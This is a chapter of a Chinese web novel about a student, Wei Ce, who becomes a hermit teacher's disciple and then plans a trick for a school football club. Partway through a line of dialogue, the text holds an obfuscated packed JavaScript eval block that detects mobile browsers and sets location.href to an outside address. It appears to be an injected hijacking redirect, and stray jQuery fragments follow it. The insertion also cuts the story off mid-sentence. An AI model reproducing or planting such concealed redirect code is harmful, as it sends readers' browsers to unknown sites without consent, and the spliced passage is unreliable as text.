太子04


    一场月考，魏策入了下甲班。


    这天清晨，魏策端正地坐在下甲班的学舍里，听先生讲解《孟子》。


    “笃笃笃”，门口传来三声敲门声打断授课，是个小童:“魏策，鬼谷先生找。”


    魏策不知道鬼谷先生是谁，既然这书院叫鬼谷书院，莫非是院长？


    魏策有些疑惑地站起身来，周围响起同窗的窃窃声:


    “鬼谷先生……”


    “大隐士啊……”


    授课先生敲了敲戒尺:“肃静。”


    学舍里重新安静下来，魏策跟了小童出去。


    魏策随小童出了鬼谷书院，下了百来级山道台阶，穿过一片竹林，来到一条小溪前，便见一个白衣飘飘之人正在垂钓。


    “先生，魏策到了。”


    小童将人带到便离开了。


    “坐。”


    鬼谷先生对魏策道。


    魏策坐下，鬼谷先生便不再说话，而是专注于垂钓，但魏策注意到，他的鱼钩是直的，且没有鱼饵。


    魏策一时有些好奇，鬼谷先生叫他来做什么？


    就这样静坐了一刻钟，魏策都快以为鬼谷先生忘了自己的存在时，鬼谷先生又开口了:“帮我买杯梨饮子，银钱自取。”


    鬼谷先生旁边的溪石上摆放着一个钱袋。


    魏策闻言便取了银钱，下山去也——梨饮子需要进城去买，日渐山虽然离澹城不远，但也有三里地要走。


    魏策进城后打听了梨饮子去哪里购买，买了之后立刻赶回日渐山，一去一回的赶路，身上出了一身薄汗。


    刚把梨饮子在鬼谷先生身边放下，他便又道:“再去淑芳斋买包桂花糕。”


    魏策仔细想了想，自己应当不可能得罪鬼谷先生才是，不知道他此举何意？


    他便又下山一趟买了桂花糕。


    “……王大娘的包子……”


    “……李老汉的豆腐脑……”


    魏策这样跑了七八趟，从早上跑到下午，衣服都被汗水浸湿了。


    鬼谷先生的视线才从溪水上移开，看着魏策道:“你知道我为什么叫你替我买这些东西吗？”


    魏策摇头:“学生不知。”


    鬼谷先生道:“我欲知道你是否是个尊师重道之人。魏策，你愿意当我的徒弟否？”


    魏策抿了抿干燥的唇，道:“鬼谷先生，我想问你几个问题。”


    鬼谷先生道:“什么问题？”


    魏策道:“刘邦的原名叫什么？”


    鬼谷先生道:“刘季。”


    魏策道:“‘一字千金’出自哪里？”


    鬼谷先生道:“当年吕不韦召集门下食客著书《吕氏春秋》，书成后……”


    魏策道:“庞涓因何而死？”


    鬼谷先生道:“自负轻敌。”


    魏策问了鬼谷先生七八个问题后，又问道:“先生可知我为何问你这些问题吗？”


    鬼谷先生觉得有趣:“为何？”


    魏策道:“因为我想知道先生是否是个博学多才，且慈爱的师长，是以考校先生。”


    古人云，一日为师，终身为父。专门拜入鬼谷门下和大班授课不同，魏策可没兴趣给自己找个活爹。


    鬼谷先生听罢并不生气，反而笑道:“魏策可满意为师？”


    魏策对鬼谷施礼道:“师傅在上，请受徒儿一拜。”


    *


    澹城城东孙家，一片夯实的泥土地上，一群少年正在进行五对五对抗的蹴鞠游戏。


    皮球在场地上滚来滚去，一群白衣绿裤的少年跟着跑来跑去，挥洒着青春的汗水。


    “碰！”皮球高高地飞起，一个少年也随之如跃出水面的鲤鱼，高高地跃起，用胸膛接住这个球。


    球跌落下来，正好落在脚边，只见他灵活地运球，在人群中如灵猴般穿梭，再“碰”的一下，将球踢入竹门中。


    场上响起欢呼声，少年们停下训练擦了把汗。孙宾拍着进球少年的肩道:“这次有了赵襄，和飞虎社的比试我们赢得了！”


    赵襄在一旁露出轻松愉悦的笑容。


    白龙社的少年跃跃欲试、摩拳擦掌:“这次非踢得朱离他们喊爹不可！”


    白龙社和飞虎社虽然都是鬼谷书院的蹴鞠队，却结怨已久。每年两社有一场固定的比赛，赢了的要答应输了的三个条件。去年白龙社因为赵襄出去游学，输给飞虎社，被逼叫爹，虽然后来协商，改了帮忙洗袜子三个月，这份屈辱却仍留在白龙社成员心里。


    *


    孙家的球场热热闹闹，城东朱家的院子里更是热闹非凡。


    女眷丫头小厮围着喊:“王少爷威武！”“朱少爷厉害！”“……”


    朱离等一帮大族子弟也在进行蹴鞠对抗练习。


    和孙宾他们的灵活不同，这边的蹴鞠充满了力量感，抢球时蛮力的相撞使旁观者手心里捏了一把汗，莫名的热血沸腾！


    汗水打湿了鬓发，也打湿了黑衣红裤的社团服。


    “碰！”又一个球撞进竹门。


    场外响起丫头小厮的欢呼鼓掌声。


    “休息一下。”朱离道。


    丫鬟们立刻奉上毛巾、茶水，这些少爷们随意擦了把汗，便一边喝茶一边聊道:


    “……听说赵襄回来了……”


    “上次没有赵襄也只是险胜，这次恐怕赢不了……”


    “你怎么长他人志气，灭自己威风？”


    “我可不想洗三个月袜子……”


    “叫小厮洗了就是……”


    “就不能一雪前耻了吗？”


    “……”


    “都闭嘴！”朱离放下茶碗，“这次，我们赢定了！”


    王数道:“怎么赢？”


    朱离道:“不过区区一个赵襄，让他上不了场便是。”他扯扯嘴唇，露出一个狠恶的笑容。


    *


    赵襄面色苍白地躺在床上，腿上绑着夹板:“……当时有人在背后把麻袋套在我头上，我没看到是谁……”


    “还用说，一定是飞虎社的人干得！”


    “知道自己赢不了，就把赵襄腿打断……实在是狠毒！”


    “这一定是朱离的主意，这个横行霸道、蛮不讲理的澹城小霸王！”


    “我们怎么办，难道就这么算了吗？”


    众人的视线投向孙宾，他是这帮少年中唯一的富家权贵子弟。


    孙宾道:“我们没有证据。”


    “可恶……！”


    “赵襄的腿被打断，这件事难道就这么算了？”


    有人愤愤不平，有人畏惧:“除了赵襄，我们队里就数杜飞踢得最好，他们会不会把杜飞也打了？”


    少年们忧心忡忡起来。


    还没开始比赛，士气就低落下来——众少年再一次无比清晰地感知到，像朱离这种豪强子弟，是他们惹不起也躲不起的。


    孙宾道:“我们一定要赢，只有赢了，才有机会给赵襄讨回公道！”


    少年们七嘴八舌道:“可是要怎么赢呢？”“赵襄腿断了”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119992|164251||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “……”


    孙宾道:“不急，有一个人或许会有办法。”


    “什么人？”


    “魏策！”


    *


    魏策此时正在跟鬼谷先生学习。


    竹林旁的竹屋清冷又安静。鬼谷先生道:“接下去要给你讲的是秦相李斯，李斯本是一看守粮仓的小吏，有一天，他在茅厕看到吃粪便的老鼠，这些老鼠听到人声犬声，就惊惶逃窜。这些厕鼠和粮仓里吃饱的，听见人声也不害怕的仓鼠完全不同，于是李斯心想:为什么都是老鼠，却如此不同呢？学生可知为何？”


    魏策道:“不同的生活环境造就了不同的秉性。”


    鬼谷先生道声:“好。”又道:“以厕鼠仓鼠为论点，写篇文章，书架上的书自取。”


    说罢，便躺在竹椅上闭目养神去了。


    ……


    魏策从鬼谷先生那学习完，便已经是日傍西山了。


    魏策脑子里一边回想今日所学，一边悠然向山下走去。


    走到山脚下，朱府来的马车夫早已在此等候。魏策还没上马车，一边的一辆豪华马车已经掀开车帘，一人从马车上跳下来，对魏策施礼道:“魏师弟，有事相求，能否请你吃顿饭？”


    魏策认出这是下乙班的孙宾，便叫朱家的马车夫回去跟魏父说一声，自己上了孙宾的马车。


    马车嘚嘚地来到白玉楼前。


    魏策虽来澹城不久，也知道这白玉楼是澹城最好的酒楼。


    包厢里早有一班少年在等候，等孙宾来了，便唤来小二吩咐传菜，没一会儿，便上了一桌珍羞，并两壶美酒。


    少年都在打量魏策，眼神中有的好奇，有的怀疑。


    见魏策没动筷子，少年们手中的筷子也渐渐停下。


    孙宾问道:“怎么了，可是饭菜不合胃口？”


    魏策道:“不急着吃饭。不知道孙同年想请我帮什么忙？”


    孙宾道:“是蹴鞠场上的事。”


    魏策道:“我不会蹴鞠。”


    孙宾道:“不是请你蹴鞠，而是请你当一回军事。”


    魏策听完，便拿起筷子吃起来。


    其他少年有些愕然，心道:他还挺自信？他哪来的自信？


    *


    饭毕。


    各人都擦手抹嘴，碗筷盘子收下去，小二又上了两盘瓜果。


    孙宾对魏策讲述一番前情，一个少年看着魏策道:“你真的有办法帮我们赢？”


    魏策微微一笑道:“不知各位知不知道‘踢假球’？”


    杜飞道:“踢假球是何意？”


    魏策道:“就是故意踢得不好，让对手赢球。”


    众人一头雾水:“我们是请你出主意赢球，不是叫你想办法输的啊！”


    魏策道:“只要派你们中技术最好的混进飞虎队，踢假球故意输就好了。”


    杜飞道:“可是飞虎社怎么会要我呢？朱离又不是傻瓜，怎么会相信我。”


    魏策道:“他确实不傻，但他一定想赢。必然愿意多一个球艺出众的球员。”


    孙宾问道:“那么如何让朱离他们相信杜飞是真心想加入他们的呢？”


    魏策道:“你们听说过吴起杀妻的故事吗？”


    吴起在鲁国时，齐国攻打鲁国。鲁国想重用吴起，但吴起的妻子却是齐国人。鲁国因此怀疑吴起，不敢任命他。吴起于是杀妻求将，最终取得鲁国信任，当上将军，打败了齐国。


    魏策道:“在派人混进飞虎社前，你们要先闹矛盾，先决裂。”